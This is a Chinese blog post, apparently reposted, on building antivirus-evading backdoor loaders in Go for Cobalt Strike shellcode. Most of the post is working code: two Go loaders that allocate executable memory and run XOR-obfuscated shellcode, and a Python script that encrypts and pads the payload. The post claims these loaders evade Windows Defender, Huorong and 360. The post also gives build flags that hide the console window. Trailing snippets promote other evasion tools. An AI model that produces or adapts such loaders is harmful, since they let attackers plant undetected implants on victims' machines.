Go免杀初探

VSole2021-12-08 09:26:58

0x01 Go免杀

由于各种av的限制,我们在后门上线或者权限持久化时很容易被杀软查杀,容易引起目标的警觉同时暴露了自己的ip。尤其是对于windows目标,一个免杀的后门极为关键,如果后门文件落不了地,还怎么能进一步执行呢?关于后门免杀,网上的介绍已经很多了,原理其实大同小异。看了很多网上的案例,发现网上比较多都是用C/C++和python来进行免杀,但是很多已经被杀软看的死死的。

非常容易就被识别出来了,那我想能不能用一种稍微小众一点的语言来写免杀呢,这里就不得不说到go语言。

Go语言专门针对多处理器系统应用程序的编程进行了优化,使用Go编译的程序可以媲美C或C++代码的速度,而且更加安全、支持并行进程。而且go语言支持交叉编译可以跨平台。

本文基于cobalt strike生成的.c文件来进行免杀测试。

0x02 免杀测试

首先生成成一个.C文件

这里先贴一个最原始的go加载代码

package main
import (  "syscall"  "unsafe")
const (  MEM_COMMIT             = 0x1000  MEM_RESERVE            = 0x2000  PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。)
var (  kernel32      = syscall.MustLoadDLL("kernel32.dll")  ntdll         = syscall.MustLoadDLL("ntdll.dll")  VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory"))
func main() {  xor_shellcode := []byte{0x89, 0x3d, 0xf6, 0x91, 0x85, 0x9d, 0xb9, 0x75, 0x75, 0x75, 0x34, 0x24, 0x34, 0x25, 0x27, 0x24, 0x23, 0x3d, 0x44, 0xa7, 0x10, 0x3d, 0xfe, 0x27, 0x15, 0x3d, 0xfe...}
  addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  if err != nil && err.Error() != "The operation completed successfully." {    syscall.Exit(0)  }  _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))  if err != nil && err.Error() != "The operation completed successfully." {    syscall.Exit(0)  }  syscall.Syscall(addr, 0, 0, 0, 0)}

这里注意:因为杀软对直接加载shellcode的一般都是落地秒,所以我们得换种方式,将shellcode混淆加密后再解密来使用。

加密和混淆经常使用的有异或加密,AES加密,或者添加随机字符等。

但是随着现在使用这种方法的人越来越多,杀软检测力度也越来越大,所以现在混淆的关键就是方式尽量要小众,或者自己写加密方法。

这里有个好的地方就是,现在网上实现加密混淆操作的大都是使用C/C++来完成的,有些比较好的思路用C/C++实现可能会被杀软拦截,但是如果把它移植到go上面说不定就有不一样的效果。

先从整个shellcode混淆的脚本

def xor(shellcode, key):    new_shellcode = ""    key_len = len(key)    # 对shellcode的每一位进行xor亦或处理    for i in range(0, len(shellcode)):        s = ord(shellcode[i])        p = ord((key[i % key_len]))        s = s ^ p  # 与p异或,p就是key中的字符之一        s = chr(s)         new_shellcode += s    return new_shellcode
def random_decode(shellcode):    j = 0    new_shellcode = ""    for i in range(0,len(shellcode)):        if i % 2 == 0:            new_shellcode[i] = shellcode[j]            j += 1
    return new_shellcode
def add_random_code(shellcode, key):    new_shellcode = ""    key_len = len(key)    # 每个字节后面添加随机一个字节,随机字符来源于key    for i in range(0, len(shellcode)):        #print(ord(shellcode[i]))        new_shellcode += shellcode[i]        # print("&"+hex(ord(new_shellcode[i])))        new_shellcode += key[i % key_len]
        #print(i % key_len)    return new_shellcode
# 将shellcode打印输出def str_to_hex(shellcode):    raw = ""    for i in range(0, len(shellcode)):        s = hex(ord(shellcode[i])).replace("0x",',0x')        raw = raw + s    return raw
if __name__ == '__main__':    shellcode = ""    # 这是异或和增加随机字符使用的key    key = "iqe"    print(shellcode[0])    print(len(shellcode))    # 首先对shellcode进行异或处理    shellcode = xor(shellcode, key)    print(len(shellcode))
    # 然后在shellcode中增加随机字符    shellcode = add_random_code(shellcode, key)
    # 将shellcode打印出来    print(str_to_hex(shellcode))

加密shellcode后,再使用go语言加载混淆后的shellcode,先解密再执行。

package main
import (  "fmt"  "syscall"  "time"  "unsafe")
const (  MEM_COMMIT             = 0x1000  MEM_RESERVE            = 0x2000  PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
)
var (  kernel32      = syscall.MustLoadDLL("kernel32.dll")  ntdll         = syscall.MustLoadDLL("ntdll.dll")  VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory"))
func main() {  mix_shellcode := []byte{0x95,0x69,0x39,0x71,0xe6,0x65}  var ttyolller []byte  key := []byte("iqe")  var key_size = len(key)  var shellcode_final []byte  var j = 0  time.Sleep(2)  // 去除垃圾代码  fmt.Print(len(mix_shellcode))  for i := 0; i < len(mix_shellcode); i++ {    if (i % 2 == 0) {      shellcode_final = append(shellcode_final,mix_shellcode[i])      j += 1    }  }  time.Sleep(3)  fmt.Print(shellcode_final)  // 解密异或  for i := 0; i < len(shellcode_final); i++ {    ttyolller = append(ttyolller, shellcode_final[i]^key[i % key_size])  }  time.Sleep(3)  addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  if err != nil && err.Error() != "The operation completed successfully." {    syscall.Exit(0)  }  time.Sleep(3)  _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller)))  if err != nil && err.Error() != "The operation completed successfully." {    syscall.Exit(0)  }  syscall.Syscall(addr, 0, 0, 0, 0)}

直接go build生成exe文件

生成的文件大概有2M,再经过UPX压缩后大概只有1M,这比python生成的要小很多了。

静态完美过WindowsDefender,火绒和360全家桶

可以正常上线

VT查杀率71/8

可以看到国内的就一款杀软查出来了

0x03 后记

用go编译的exe文件执行后会弹出黑框这里有两个解决办法

在initial_beacon中设置auto migrate,但还得连带把initial sleep设置成尽可能短

build时添加操作选项:-ldflags="-H windowsgui"

版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权烦请告知,我们会立即删除并表示歉意。祝愿每一位读者生活愉快!谢谢!

免杀
本作品采用《CC 协议》,转载必须注明作者和本文链接
0X01起源在攻防演练中通过运行恶意代码连接C2是最常用的手段,但是由于对抗程度的提升。以360、天擎为代表的毒软件针对信任链的检测,已经变得愈来愈成熟。这里我们可以理解为,攻击者通过利用"白加黑"这种攻击方法。当攻击者通过社工钓鱼的手段,使得目标下载恶意的文件到目标自己的计算机上,并点击运行白文件时,该文件会在运行时执行恶意DLL。
Bypass_AV msf,ShellCode加载器 ,shellcode执行程序 ,360&火绒&Windows Defender代码够简单,估计要不了多久就进特征库了,被了再去改几个特征码照样又可以,作者的github保持更新,可以去瞅瞅。测试可以国内软?注意:ShellCode 需要是64位的加载器将生成的ShellCode 填至 Bypass_AV.py 里的 ShellCode = '''ShellCode''' 处注意:保留原始ShellCode 里的双引号 "示例:最终格式:打包成可执行程序编译Python 3.8.6pyinstaller 4.7pip install pyinstaller
Bypass_AV msf,ShellCode加载器 ,shellcode执行程序 ,360&火绒&Windows Defender。代码够简单,估计要不了多久就进特征库了,被了再去改几个特征码照样又可以,保持更新。
技术有一套
2022-07-20 09:45:45
方式可能是上面的两种方式,看情况。动态行为,运行中执行的某些行为被毒软件拦截报读。不同工具之前局别是使用的分割算法不同,查找特征码的效果不同。
,又叫毒技术,是反病毒,反间谍的对立面,是一种能使病毒或木马免于被毒软件查杀的软件。它除了使病毒木马免于被查杀外,还可以扩增病毒木马的功能,改变病毒木马的行为。的基本特征是破坏特征,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次就能完成了。
方式可能是上面的两种方式,看情况。动态行为,运行中执行的某些行为被毒软件拦截报读。不同工具之前局别是使用的分割算法不同,查找特征码的效果不同。然后继续测试另外的连锁条件,直到找到最后一个连锁条件,抹掉后,整个文件了,则说明特征代码被定为完毕了,所以VIRTEST绝对可以精确的定位出所有的复合特征。直到定位到某个函数或者多个函数,进入3。有,单独检查该文件或者数据,方法从1开始。
入门之静态
2022-04-30 06:53:30
该工具已经被市面上软加入病毒特征库,我们的目标就是修改该程序特征码并且不能影响其正常使用。最后测试mimikatz功能也是正常的,至此完成。
一篇静态的文章
VSole
网络安全专家